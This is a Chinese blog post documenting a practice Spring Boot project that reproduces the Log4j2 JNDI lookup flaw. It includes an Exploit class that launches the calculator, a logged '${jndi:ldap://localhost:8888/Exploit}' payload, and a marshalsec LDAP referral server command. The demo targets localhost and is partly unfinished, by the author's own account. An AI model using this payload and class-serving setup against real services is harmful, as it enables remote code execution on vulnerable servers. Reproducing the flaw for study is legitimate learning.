简单spring boot项目,之前练习的,现在好像没有达到效果

  1. 简单的springboot项目 访问 http:localhost:8080 404就是启动成功了
  2. java调用命令行打开电脑计算器
  3. TODO 日志那部分有点问题,没有达到预期

spring boot 项目启动类

java 复制代码
package com.log4j2test;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Log4j2Application {

    public static void main(String[] args) {
        SpringApplication.run(Log4j2Application.class, args);
    }

}

一些日志测试的demo

打开电脑计算器

java 复制代码
package com.log4j2test.slf4j;

/**
 * @author
 * @data 2021/12/20
 * @time 9:58
 * @Description  java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888
 */
public class Exploit {

    /**
     * 服务器代码
     */
    static {
        System.err.println("Pwned");

        try {
            String calcStr = "calc";
            Runtime.getRuntime().exec(calcStr);
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
}

测试日志并且调用打开电脑计算器

java 复制代码
public class LogTest {

    public static final Logger logger = LoggerFactory.getLogger(LogTest.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:8888/Exploit}");
        Exploit exploit =new Exploit();
        System.out.println(exploit);
    }
}

controller 这个没有达到预期

java 复制代码
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;

/**
 * @author
 * @data 2021/12/20
 * @time 10:02
 * @Description
 */
@Controller
public class TestController {

    public static final Logger logger = LoggerFactory.getLogger(LogTest.class);
    @PostMapping("/slf4j/hello")
    public void hello(){

        // 若输出 Java OS系统版本,则说明log4j将${}中的内容当作命令来执行了,不符合预期
        // 将log4j-core排除后运行该代码,结果则是当做字符串输出,符合预期结果
        logger.error("java:os : ${java:os}");
    }
}

一个空的application.properties

一个空的spring boot 测试类

java 复制代码
package com.log4j2test;

import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;

@SpringBootTest
class Log4j2ApplicationTests {

    @Test
    void contextLoads() {
    }

}
相关推荐
虹科网络安全26 分钟前
艾体宝干货|数据复制详解:类型、原理与适用场景
java·开发语言·数据库
axng pmje1 小时前
Java语法进阶
java·开发语言·jvm
uzong1 小时前
9 种 RAG 架构,每位 AI 开发者必学:完整实战指南
后端
HackTorjan1 小时前
深度神经网络的反向传播与梯度优化原理
人工智能·spring boot·神经网络·机器学习·dnn
rKWP8gKv71 小时前
Java微服务性能监控:Prometheus与Grafana集成方案
java·微服务·prometheus
老前端的功夫1 小时前
【Java从入门到入土】28:Stream API:告别for循环的新时代
java·开发语言·python
qq_435287921 小时前
第9章 夸父逐日与后羿射日:死循环与进程终止?十个太阳同时值班的并行冲突
java·开发语言·git·死循环·进程终止·并行冲突·夸父逐日
小江的记录本1 小时前
【Kafka核心】架构模型:Producer、Broker、Consumer、Consumer Group、Topic、Partition、Replica
java·数据库·分布式·后端·搜索引擎·架构·kafka
止语Lab1 小时前
从手动到框架:Go DI 演进的三个拐点
开发语言·后端·golang
yaoxin5211232 小时前
397. Java 文件操作基础 - 创建常规文件与临时文件
java·开发语言·python